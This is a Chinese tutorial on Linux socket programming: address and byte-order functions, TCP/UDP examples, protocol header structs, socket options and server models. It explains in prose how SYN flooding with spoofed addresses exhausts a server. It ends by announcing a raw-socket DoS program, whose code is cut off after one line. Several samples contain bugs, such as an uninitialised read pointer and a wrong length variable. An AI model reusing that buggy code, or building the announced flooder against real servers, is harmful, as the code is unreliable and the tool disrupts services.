总的来说网络程序是由两个部分组成的–客户端和服务器端.它们的建立步骤一般是:

服务器端
socket–>bind–>listen–>accept

客户端
socket–>connect

3. 服务器和客户机的信息函数
这一章我们来学习转换和网络方面的信息函数.

3.1 字节转换函数
在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反. 为了统一起来,在Linux下面,有专门的字节转换函数.

unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)

在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long 第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多.

3.2 IP和域名的转换
在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢?

struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有struct hostent的定义
struct hostent{
char *h_name; /* 主机的正式名称 */
char *h_aliases; /* 主机的别名 */
int h_addrtype; /* 主机的地址类型 AF_INET*/
int h_length; /* 主机的地址长度 对于IP4 是4字节32位*/
char **h_addr_list; /* 主机的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主机的第一个IP地址*/

gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息
gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针.

这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()可以得到详细的出错信息

3.3 字符串的IP和32位的IP转换.
在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中用的是32位的IP, 我们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换我们可以使用下面两个函数

int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)

函数里面 a 代表 ascii n 代表network.第一个函数表示将a.b.c.d的IP转换为32位的IP,存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式.

3.4 服务信息函数
在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几个函数

int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服务名 */
char **s_aliases; /* 别名列表 */
int s_port; /* 端口号 */
char *s_proto; /* 使用的协议 */
}

一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在connect调用成功后使用可得到 系统分配的端口号.对于服务端,我们用INADDR_ANY填充后,为了得到连接的IP我们可以在accept调用成功后 使用而得到IP地址.

在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.

3.5 一个例子

#include
#include
#include
#include
#include

int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;

if(argc<2)
{
fprintf(stderr,”Usage:%s hostname|ip..\n\a”,argv[0]);
exit(1);
}

argv++;
for(;*argv!=NULL;argv++)
{
/* 这里我们假设是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf(“Address information of Ip %s\n”,*argv);
}
else
{
/* 失败,难道是域名?*/
host=gethostbyname(*argv); printf(“Address information
of host %s\n”,*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,”No address information of %s\n”,*argv);
continue;
}
printf(“Official host name %s\n”,host->h_name);
printf(“Name aliases:”);
for(alias=host->h_aliases;*alias!=NULL;alias++)
printf(“%s ,”,*alias);
printf(“\nIp address:”);
for(alias=host->h_addr_list;*alias!=NULL;alias++)
printf(“%s ,”,inet_ntoa(*(struct in_addr *)(*alias)));
}
}

在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet_aton, 失败的时候,再调用gethostbyname而得到信息.

4. 完整的读写函数
一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.

4.1 写函数write

ssize_t write(int fd,const void *buf,size_t nbytes)

write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能.

1)write的返回值大于0,表示写了部分或者是全部的数据.

2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理.

如果错误为EINTR表示在写的时候出现了中断错误.

如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).

为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;

ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
/* 开始写*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出错了*/
{
if(errno==EINTR) /* 中断错误 我们继续写*/
written_bytes=0;
else /* 其他错误 没有办法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 从剩下的地方继续写 */
}
return(0);
}

4.2 读函数read
ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读成功时,read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.如果错误为EINTR说明读是由中断引起的, 如果是ECONNREST表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数.

int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;

bytes_left=length;
while(bytes_left>0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}

4.3 数据的传递
有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式

/* 客户端向服务端写 */

struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

/* 服务端的读*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;

在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容)

5. 用户数据报发送
我们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出大部分的基于TCP协议的网络程序了.现在在Linux下的大部分程序都是用我们上面所学的知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一下基于UDP协议的网络程序.

5.1 两个常用的函数

int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)

sockfd,buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小.recvfrom负责从sockfd接收数据,如果from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将from和fromlen设置为NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.

5.2 一个实例

/* 服务端程序 server.c */

#include
#include
#include
#include
#include
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024

void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];

while(1)
{ /* 从网络上度,写到网络上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 显示服务端已经收到了信息 */
fprintf(stdout,”I have received %s”,msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}

int main(void)
{
int sockfd;
struct sockaddr_in addr;

sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,”Socket Error:%s\n”,strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0)
{
fprintf(stderr,”Bind Error:%s\n”,strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}

/* 客户端程序 */
#include
#include
#include
#include
#include
#include
#define MAX_BUF_SIZE 1024

void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 从键盘读入,写到服务端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 从网络上读,写到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}

int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;

if(argc!=3)
{
fprintf(stderr,”Usage:%s server_ip server_port\n”,argv[0]);
exit(1);
}

if((port=atoi(argv[2]))<0)
{
fprintf(stderr,”Usage:%s server_ip server_port\n”,argv[0]);
exit(1);
}

sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,”Socket Error:%s\n”,strerror(errno));
exit(1);
}
/* 填充服务端的资料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,”Ip error:%s\n”,strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}

########### 编译文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core

上面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务端,然后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已经收到信息,但是客户端没有反映.再运行一个客户端,向服务端发出信息 却可以得到反应.我想可能是第一个客户端已经阻塞了.如果谁知道怎么解决的话,请告诉我,谢谢. 由于UDP协议是不保证可靠接收数据的要求,所以我们在发送信息的时候,系统并不能够保证我们发出的信息都正确无误的到达目的地.一般的来说我们在编写网络程序的时候都是选用TCP协议的.

6. 高级套接字函数
在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

6.1 recv和send
recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制读写操作.

int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)

前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者发送带外数据 |
| MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 |
| MSG_WAITALL | 等待所有数据 |
|————————————————————–|

MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面.
MSG_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.

MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.

MSG_WAITALL是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误. 1)当读到了指定的字节时,函数正常返回.返回值等于len 2)当读到了文件的结尾时,函数正常返回.返回值小于len 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)

如果flags为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很少,可以查看 Linux Programmers Manual得到详细解释.

6.2 recvfrom和sendto
这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了.

6.3 recvmsg和sendmsg
recvmsg和sendmsg可以实现前面所有的读写函数的功能.

int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)

struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}

struct iovec
{
void *iov_base; /* 缓冲区开始的地址 */
size_t iov_len; /* 缓冲区的长度 */
}

msg_name和 msg_namelen当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.msg_name实际上是一个指向struct sockaddr的指针,msg_name是结构的长度.当套接字是面向连接时,这两个值应设为NULL. msg_iov和msg_iovlen指出接受和发送的缓冲区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小. msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操作选项.和recv,send的选项一样
6.4 套接字的关闭
关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样.

6.5 shutdown

int shutdown(int sockfd,int howto)

TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用shutdown.针对不同的howto,系统回采取不同的关闭方式.
howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写.

howto=1关闭写通道,和上面相反,着时候就只可以读了.

howto=2关闭读写通道,和close一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符.

7. TCP/IP协议
你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.

7.1 网络传输分层
如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.

7.2 IP协议
IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是IP4的数据包格式

0 4 8 16 32
————————————————–
|版本 |首部长度|服务类型| 数据包总长 |
————————————————–
| 标识 |DF |MF| 碎片偏移 |
————————————————–
| 生存时间 | 协议 | 首部较验和 |
————————————————
| 源IP地址 |
————————————————
| 目的IP地址 |
————————————————-
| 选项 |
=================================================
| 数据 |
————————————————-

下面我们看一看IP的结构定义

struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0×8000 /* reserved fragment flag */
#define IP_DF 0×4000 /* dont fragment flag */
#define IP_MF 0×2000 /* more fragments flag */
#define IP_OFFMASK 0×1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};

ip_vIP协议的版本号,这里是4,现在IPV6已经出来了

ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.

ip_tos服务类型,说明提供的优先权.

ip_len说明IP数据的长度.以字节为单位.

ip_id标识这个IP数据包.

ip_off碎片偏移,这和上面ID一起用来重组碎片的.

ip_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃.

ip_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议.

ip_sum首部校验和,提供对首部数据的校验.

ip_src,ip_dst发送者和接收者的IP地址

关于IP协议的详细情况,请参考 RFC791

7.3 ICMP协议
ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.

ICMP包的结构如下:

0 8 16 32
———————————————————————
| 类型 | 代码 | 校验和 |
——————————————————————–
| 数据 | 数据 |
——————————————————————–

ICMP在中的定义是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};

关于ICMP协议的详细情况可以查看 RFC792

7.4 UDP协议
UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数据报服务.UDP的头格式为:

0 16 32
—————————————————
| UDP源端口 | UDP目的端口 |
—————————————————
| UDP数据报长度 | UDP数据报校验 |
—————————————————

UDP结构在中的定义为:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};

关于UDP协议的详细情况,请参考 RFC768
7.5 TCP
TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.

0 4 8 10 16 24 32
——————————————————————-
| 源端口 | 目的端口 |
——————————————————————-
| 序列号 |
——————————————————————
| 确认号 |
——————————————————————
| | |U|A|P|S|F| |
|首部长度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
—————————————————————–
| 校验和 | 紧急指针 |
—————————————————————–
| 选项 | 填充字节 |
—————————————————————–

TCP的结构在中定义为:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};

source发送TCP数据的源端口
dest接受TCP数据的目的端口

seq标识该TCP所包含的数据字节的开始序列号

ack_seq确认序列号,表示接受方下一次接受的数据序列号.

doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5

urg如果设置紧急数据指针,则该位为1

ack如果确认号正确,那么为1

psh如果设置为1,那么接收方收到数据后,立即交给上一层程序

rst为1的时候,表示请求重新连接

syn为1的时候,表示请求建立连接

fin为1的时候,表示亲戚关闭连接

window窗口,告诉接收者可以接收的大小

check对TCP数据进行较核

urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值

关于TCP协议的详细情况,请查看 RFC793

7.6 TCP连接的建立
TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为”三次握手”.

下面我们从一个实例来分析建立连接的过程.

第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,并且设置序列号seq=1000(我们假设为1000).

第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.因为是响应客户机的请求,于是服务器设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000).

第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.

最后一步服务器受到确认信息,也完成连接.

通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的.

说一说其中的一种错误.
听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.概括的说一下原理.
客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤.
不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的IP填充在自己IP数据包的发送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时.
这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求.
这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况.

8. 套接字选项
有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.

8.1 getsockopt和setsockopt

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP选项. 3)IPPROTO_TCP:TCP选项.
optname指定控制的方式(选项的名称),我们下面详细解释

optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换

选项名称 说明 数据类型
========================================================================
SOL_SOCKET
————————————————————————
SO_BROADCAST 允许发送广播数据 int
SO_DEBUG 允许调试 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 获得套接字错误 int
SO_KEEPALIVE 保持连接 int
SO_LINGER 延迟关闭连接 struct linger
SO_OOBINLINE 带外数据放入正常数据流 int
SO_RCVBUF 接收缓冲区大小 int
SO_SNDBUF 发送缓冲区大小 int
SO_RCVLOWAT 接收缓冲区下限 int
SO_SNDLOWAT 发送缓冲区下限 int
SO_RCVTIMEO 接收超时 struct timeval
SO_SNDTIMEO 发送超时 struct timeval
SO_REUSERADDR 允许重用本地地址和端口 int
SO_TYPE 获得套接字类型 int
SO_BSDCOMPAT 与BSD系统兼容 int
==========================================================================
IPPROTO_IP
————————————————————————–
IP_HDRINCL 在数据包中包含IP首部 int
IP_OPTINOS IP首部选项 int
IP_TOS 服务类型
IP_TTL 生存时间 int
==========================================================================
IPPRO_TCP
————————————————————————–
TCP_MAXSEG TCP最大数据段的大小 int
TCP_NODELAY 不使用Nagle算法 int
=========================================================================

关于这些选项的详细情况请查看 Linux Programmers Manual

8.2 ioctl
ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.

int ioctl(int fd,int req,…)

==========================================================================
ioctl的控制选项
————————————————————————–
SIOCATMARK 是否到达带外标记 int
FIOASYNC 异步输入/输出标志 int
FIONREAD 缓冲区可读的字节数 int

详细的选项请用 man ioctl_list 查看.

9. 服务器模型
学习过《软件工程》吧.软件工程可是每一个程序员”必修”的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求, 对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.

循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求

9.1 循环服务器:UDP服务器
UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.

可以用下面的算法来实现.

socket(…);
bind(…);
while(1)
{
recvfrom(…);
process(…);
sendto(…);
}

因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.
9.2 循环服务器:TCP服务器
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下:

socket(…);
bind(…);
listen(…);
while(1)
{
accept(…);
while(1)
{
read(…);
process(…);
write(…);
}
close(…);
}

TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.

9.3 并发服务器:TCP服务器
为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.

算法如下:

socket(…);
bind(…);
listen(…);
while(1)
{
accept(…);
if(fork(..)==0)
{
while(1)
{
read(…);
process(…);
write(…);
}
close(…);
exit(…);
}
close(…);
}

TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

9.4 并发服务器:多路复用I/O
为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.

首先介绍一个函数select

int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回”通知”我们 说可以读写了. readfds所有要读的文件文件描述符的集合
writefds所有要的写文件文件描述符的集合

exceptfds其他的服要向我们通知的文件描述符

timeout超时设置.

nfds所有我们监控的文件描述符中最大的那一个加1

在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset

FD_CLR将fd从fdset里面清除

FD_ZERO从fdset中清除所有的文件描述符

FD_ISSET判断fd是否在fdset集合中

使用select的一个例子

int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;

maxfd=readfd[0];
for(i=1;i if(readfd[i]>maxfd) maxfd=readfd[i];
while(1)
{
/* 将所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i FD_SET(readfd[i],*my_readfd);
/* 进程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有东西可以读了 */
for(i=0;i if(FD_ISSET(readfd[i],&my_readfd))
{
/* 原来是我可以读了 */
we_read(readfd[i]);
}
}
}

使用select后我们的服务器程序就变成了.

初始话(socket,bind,listen);

while(1)
{
设置监听读写文件描述符(FD_*);

调用select;

如果是倾听套接字就绪,说明一个新的连接请求建立
{
建立连接(accept);
加入到监听文件描述符中去;
}
否则说明是一个已经连接过的描述符
{
进行操作(read或者write);
}

}

多路复用I/O可以解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.

9.5 并发服务器:UDP服务器
人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样.

除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.

9.6 一个并发TCP服务器实例

#include
#include
#include
#include
#include
#define MY_PORT 8888

int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf(“Socket Error:%s\n\a”,strerror(errno));
exit(1);
}

bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf(“Bind Error:%s\n\a”,strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf(“Accept Error:%s\n\a”,strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子进程处理客户端的连接 */
char buffer[1024];

close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf(“Fork Error:%s\n\a”,strerror(errno));
close(accept_fd);
}
}

你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试

10. 原始套接字
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字–原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.

10.1 原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/******************** DOS.c *****************/
#include
